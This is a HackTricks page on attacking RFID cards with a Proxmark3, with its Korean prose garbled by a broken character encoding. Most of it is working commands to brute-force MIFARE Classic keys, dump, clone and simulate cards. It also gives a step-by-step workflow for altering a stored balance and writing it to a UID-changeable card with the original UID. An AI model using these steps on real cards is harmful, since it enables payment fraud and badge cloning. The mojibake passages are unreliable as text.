Proxmark 3

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Proxmark3๋กœ RFID ์‹œ์Šคํ…œ ๊ณต๊ฒฉํ•˜๊ธฐ

๊ฐ€์žฅ ๋จผ์ € ํ•ด์•ผ ํ•  ์ผ์€ Proxmark3๋ฅผ ์ค€๋น„ํ•˜๊ณ  install the software and itโ€™s dependencies.

MIFARE Classic 1KB ๊ณต๊ฒฉ

์ด๋Š” 16 sectors, ๊ฐ ์„นํ„ฐ๋Š” 4 blocks์ด๋ฉฐ ๊ฐ ๋ธ”๋ก์€ 16B๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. UID๋Š” sector 0 block 0์— ์žˆ์œผ๋ฉฐ(๋ณ€๊ฒฝํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค).
๊ฐ ์„นํ„ฐ์— ์ ‘๊ทผํ•˜๋ ค๋ฉด ๊ฐ ์„นํ„ฐ์˜ block 3 of each sector(sector trailer)์— ์ €์žฅ๋œ 2 keys(A and B)๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์„นํ„ฐ ํŠธ๋ ˆ์ผ๋Ÿฌ๋Š” ๋˜ํ•œ 2 keys๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ each block์— ๋Œ€ํ•œ read and write ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋Š” access bits๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.
2 keys๋Š” ์˜ˆ๋ฅผ ๋“ค์–ด ์ฒซ ๋ฒˆ์งธ ํ‚ค๋ฅผ ์•Œ๋ฉด ์ฝ๊ธฐ ๊ถŒํ•œ์„, ๋‘ ๋ฒˆ์งธ ํ‚ค๋ฅผ ์•Œ๋ฉด ์“ฐ๊ธฐ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋Š” ์‹์œผ๋กœ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

์—ฌ๋Ÿฌ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

proxmark3> hf mf #List attacks

proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce
proxmark3> hf mf fchk 1 t # Improved keys BF

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key
proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key

proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)
proxmark3> hf mf restore # Copy data to a new card
proxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump
proxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory

proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card

The Proxmark3๋Š” ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด eavesdropping๊ณผ ๊ฐ™์ด Tag to Reader communication์„ ๋„์ฒญํ•˜๋Š” ๋“ฑ ์ถ”๊ฐ€ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์นด๋“œ์˜ ๊ฒฝ์šฐ ํ†ต์‹ ์„ ์Šค๋‹ˆํ•‘ํ•œ ๋’ค ์‚ฌ์šฉ๋œ ํ‚ค๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ๊ทธ ์ด์œ ๋Š” cryptographic operations used are weakํ•˜๋ฉฐ ํ‰๋ฌธ(plaintext)๊ณผ ์•”ํ˜ธ๋ฌธ(ciphertext)์„ ์•Œ๋ฉด (mfkey64 ๋„๊ตฌ) ํ‚ค๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

MiFare Classic์˜ ์ €์žฅ๊ฐ’(stored-value) ์•…์šฉ์„ ์œ„ํ•œ ๋น ๋ฅธ ์›Œํฌํ”Œ๋กœ์šฐ

ํ„ฐ๋ฏธ๋„์ด Classic ์นด๋“œ์— ์ž”์•ก์„ ์ €์žฅํ•  ๋•Œ, ์ผ๋ฐ˜์ ์ธ ์—”๋“œํˆฌ์—”๋“œ ํ๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

# 1) Recover sector keys and dump full card
proxmark3> hf mf autopwn

# 2) Modify dump offline (adjust balance + integrity bytes)
#    Use diffing of before/after top-up dumps to locate fields

# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
proxmark3> hf mf cload -f modified.bin

# 4) Clone original UID so readers recognize the card
proxmark3> hf mf csetuid -u <original_uid>

๋…ธํŠธ

  • hf mf autopwn์€ nested/darkside/HardNested-style ๊ณต๊ฒฉ์„ ์กฐ์œจํ•˜๊ณ , keys๋ฅผ ๋ณต๊ตฌํ•˜๋ฉฐ, client dumps folder์— ๋คํ”„๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • Writing block 0/UID๋Š” magic gen1a/gen2 ์นด๋“œ์—์„œ๋งŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜ Classic ์นด๋“œ๋Š” UID๊ฐ€ ์ฝ๊ธฐ ์ „์šฉ์ž…๋‹ˆ๋‹ค.
  • ๋งŽ์€ ๋ฐฐํฌ์—์„œ๋Š” Classic โ€œvalue blocksโ€ ๋˜๋Š” ๋‹จ์ˆœํ•œ checksums์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ํŽธ์ง‘ ํ›„ ์ค‘๋ณต/๋ณด์ˆ˜๋œ ํ•„๋“œ์™€ checksums์ด ์ผ๊ด€๋˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

์ƒ์œ„ ์ˆ˜์ค€์˜ ๋ฐฉ๋ฒ•๋ก  ๋ฐ ์™„ํ™”์ฑ…์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

Pentesting RFID

Raw ๋ช…๋ น

IoT ์‹œ์Šคํ…œ์€ ๋•Œ๋•Œ๋กœ nonbranded or noncommercial tags๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ Proxmark3๋ฅผ ์‚ฌ์šฉํ•ด ํƒœ๊ทธ๋กœ ๋ณด๋‚ผ ์ปค์Šคํ…€ raw ๋ช…๋ น์„ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search

์ด ์ •๋ณด๋ฅผ ๊ฐ€์ง€๊ณ  ์นด๋“œ์— ๋Œ€ํ•œ ์ •๋ณด์™€ ์นด๋“œ์™€ ํ†ต์‹ ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ฐพ์•„๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Proxmark3๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์›์‹œ ๋ช…๋ น์„ ์ „์†กํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: hf 14a raw -p -b 7 26

์Šคํฌ๋ฆฝํŠธ

Proxmark3 ์†Œํ”„ํŠธ์›จ์–ด์—๋Š” ๊ฐ„๋‹จํ•œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ๋•Œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ž๋™ํ™” ์Šคํฌ๋ฆฝํŠธ ๋ชฉ๋ก์ด ๋ฏธ๋ฆฌ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ „์ฒด ๋ชฉ๋ก์„ ํ™•์ธํ•˜๋ ค๋ฉด script list ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์„ธ์š”. ๊ทธ๋Ÿฐ ๋‹ค์Œ script run ๋ช…๋ น ๋‹ค์Œ์— ์Šคํฌ๋ฆฝํŠธ ์ด๋ฆ„์„ ๋ถ™์—ฌ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

proxmark3> script run mfkeys

์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋งŒ๋“ค์–ด fuzz tag readersํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฆ‰, valid card์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณต์‚ฌํ•œ ๋’ค Lua script๋กœ ํ•˜๋‚˜ ์ด์ƒ์˜ ๋ฌด์ž‘์œ„ bytes๋ฅผ randomizeํ•˜๊ณ  ๊ฐ ๋ฐ˜๋ณต์—์„œ reader crashesํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ